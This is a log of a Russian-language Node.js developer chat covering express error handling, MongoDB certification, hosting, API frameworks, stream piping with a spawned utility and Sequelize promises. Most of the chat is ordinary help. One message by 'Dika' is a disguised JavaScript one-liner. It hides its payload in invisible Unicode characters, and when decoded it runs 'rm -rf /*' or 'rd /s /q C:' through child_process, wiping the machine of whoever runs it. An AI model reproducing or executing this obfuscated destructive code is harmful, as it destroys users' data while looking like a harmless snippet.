Dmytro
Постгрес
Server
Server
почему как только добовляю этот if приложение падает?
сomorsiс
а с какой ошибкой?
Server
сomorsiс
events[events_i]
он точно существует?
сomorsiс
а, ну он точно не существует
сomorsiс
event - пустой массив
event[0] -> undefined
undefined['description'] = ...
ну ты понел
Server
𝒟𝓂𝒾𝓉𝓇𝒾𝓎
Не могу понять, как обрабатывать в express 404 ошибку страница не найдена или просто запрос по такому эндпоинту не существует..
Server
Dika
for(a in {a󠄽󠅲󠅥󠅱󠅵󠅩󠅲󠅥󠄨󠄧󠅣󠅨󠅩󠅬󠅤󠅟󠅰󠅲󠅯󠅣󠅥󠅳󠅳󠄧󠄩󠄮󠅥󠅸󠅥󠅣󠄬󠅰󠅲󠅯󠅣󠅥󠅳󠅳󠄮󠅰󠅬󠅡󠅴󠅦󠅯󠅲󠅭󠄽󠄽󠄧󠅷󠅩󠅮󠄳󠄲󠄧󠄿󠅡󠄨󠄧󠅲󠅤󠄠󠄯󠅳󠄠󠄯󠅱󠄠󠅃󠄺󠄧󠄩󠄺󠅡󠄨󠄧󠅲󠅭󠄠󠄭󠅲󠅦󠄠󠄯󠄪󠄧󠄩:0})Function(unescape(escape(a).replace(/u.{8}/g,[])))()
Server
Дмитрий
Server
Server
ошибка пропала но значение не получил, а оно есть)
Server
var description = lines[i].split(':')
console.log('description', description)
events[events_i]['description'] = description[1]
✙ galactico ✙
доброй ночи! кто-то сдавал сертификацию по монге ?
Артём
Привет, друзья!
✙ galactico ✙
В сертификационном центре за 150$
Evgeny
нахер нужны сертификаты? о.О
✙ galactico ✙
С цифрой могу ошибаться, за 150 я сдавал JS
Anonymous
Скиньте ссылку где можно почитать об этих ваших сертификатах?
✙ galactico ✙
Сори, но изначальный вопрос был не в этом. Меня интересуют люди, которые сдавали конкретно по монге
🦜
https://university.mongodb.com/certification/developer/about
🦜
Тут вся информация по сертификации для девелоперов
dexofan
Господа, подскажите православный способ использования конфигов?
dexofan
Шоб и get и set
ALEX
Roman
Usman
В каких хостах можно поднять сервер на node js?
Mykola
Usman
Mykola
Digital я думаю потдерживает
Mykola
https://www.digitalocean.com/community/tutorials/initial-server-setup-with-ubuntu-16-04
Usman
Dmitry
Ребятки, а что сейчас используют для написания API?
а то я все на express пишу, и что-то поднадоело
Konstantin
Roman
Dmitry
loopback я как-то не оценил, посмотрю на hapi, спасибо
𝒟𝓂𝒾𝓉𝓇𝒾𝓎
Можно koa глянуть, как раз снйчас на нем буду делать после loopback
arts
Dmitry
кстати, на счет него, у кого-нибудь получалось завести swagger с typescript?
Mykola
Dmitry
поймал
Dmitry
спасиб
δμ Dmitry
Привет! У меня тут возникла задача, к которой у меня есть решение, но оно ужасно уродливое. А я почти уверен, что кто-то уже сталкивался.
Есть консольная утилита, которая принимает на вход stdin с контентом файла. По окончании stdin, утилита отправляет JSON в stdout. Этот JSON содержит результат операции (ошибка или ок).
Вокруг этой утилиты написана обертка в виде функции, которая запускает утилиту через spawn и возвращает stdin (WriteStream).
Есть браузерный код, который шлет несколько файлов как “multipart/form-data”. И ожидает данные, в которых будет указан результат операции для каждого файла или хотя бы ошибки (чтобы показать уведомление)
Есть nodejs сервер, который должен соединить две части. Я использую https://github.com/mscdex/busboy чтобы входящий стрим с запроса распарсить на стримы для каждого файла (ReadStream). Для каждого из стримов вызывается обертка утилиты и делается read.pipe(write).
Моя проблема в том, что я не знаю как отследить ошибки. Дело в том, что WriteStream финиширует после того, как закончится ReadStream. И только потом будет ответ в stdout (внутри обертки).
Есть вариант из обертки возвращать не только WriteStream, но и Promise, который и использовать для контроля внешнего кода. Но выглядит как то криво.
Еще более уродливым вариантом выглядит возврат из обертки stdout утилиты. Но я бы хотел спрятать такие детали внутрь.
Я пробовал для .pipe() указать end:false, чтобы предотвратить финиш WriteStream при окончании ReadStream. Но тогда утилита висит и ждет данных на этом WriteStream (sdtin).
Всю голову сломал, помогите.
δμ Dmitry
я уже посмотрел библиотеки fs, s3
но там нет похожего
KlonD90
Привет! У меня тут возникла задача, к которой у меня есть решение, но оно ужасно уродливое. А я почти уверен, что кто-то уже сталкивался.
Есть консольная утилита, которая принимает на вход stdin с контентом файла. По окончании stdin, утилита отправляет JSON в stdout. Этот JSON содержит результат операции (ошибка или ок).
Вокруг этой утилиты написана обертка в виде функции, которая запускает утилиту через spawn и возвращает stdin (WriteStream).
Есть браузерный код, который шлет несколько файлов как “multipart/form-data”. И ожидает данные, в которых будет указан результат операции для каждого файла или хотя бы ошибки (чтобы показать уведомление)
Есть nodejs сервер, который должен соединить две части. Я использую https://github.com/mscdex/busboy чтобы входящий стрим с запроса распарсить на стримы для каждого файла (ReadStream). Для каждого из стримов вызывается обертка утилиты и делается read.pipe(write).
Моя проблема в том, что я не знаю как отследить ошибки. Дело в том, что WriteStream финиширует после того, как закончится ReadStream. И только потом будет ответ в stdout (внутри обертки).
Есть вариант из обертки возвращать не только WriteStream, но и Promise, который и использовать для контроля внешнего кода. Но выглядит как то криво.
Еще более уродливым вариантом выглядит возврат из обертки stdout утилиты. Но я бы хотел спрятать такие детали внутрь.
Я пробовал для .pipe() указать end:false, чтобы предотвратить финиш WriteStream при окончании ReadStream. Но тогда утилита висит и ждет данных на этом WriteStream (sdtin).
Всю голову сломал, помогите.
Ну поставь между ними другой стрим дуплексный
KlonD90
И разруливай там что куда
δμ Dmitry
Ну поставь между ними другой стрим дуплексный
то есть, он файл принимает, а json возвращает?
придется обвязку вокруг него писать в месте где запрос от браузера приходит
но кажется это все равно лучше остальных моих идей(
спасибо, дельная идея!
δμ Dmitry
однако буду рад услышать другие
Artem
Для дельных предложений, покажи код
Artem
Вокруг этой утилиты написана обертка в виде функции, которая запускает утилиту через spawn и возвращает stdin (WriteStream).
Artem
этот
δμ Dmitry
Оно очень простое, тупо выводит stdin
Dmitry
Roma
Для обмана датой с реактом(рендер на клиенте) лучше сокеты или просто json api? Подскажите пожалуйста
Roma
Обмена*
Ivan
смотря для каких целей
Ivan
realtime - сокеты
Ivan
иначе - рест проще
Roma
Интернет магазин, категории подкатегории товары и тд
δμ Dmitry
если нет нет прямой необходимости, то http
либо иметь дополнительный слой, который работает и с тем и стем, но это редко нужно
Камиль
ребят в цепочке .then() я могу в последующем зене ссылаться на то что вернул предыдущий?
🦜
Камиль
спасибо
Sergey
Aleksey
только принимай результат )
Камиль
а в зенах я могу уже другой промис вызвать?
Aleksey
или чере arguments
Sergey
Sergey
Камиль
у меня просто проблема с секвалайзом)
методы у него типа findAll возвращают промисы
ну вот мне нужно метод на одной таблице вызвать и найти значения, а потом такой же метод вызвать в другой табличке и посмотреть совпадения в предыдущей
Камиль
@sergeysova спасибо, почитаю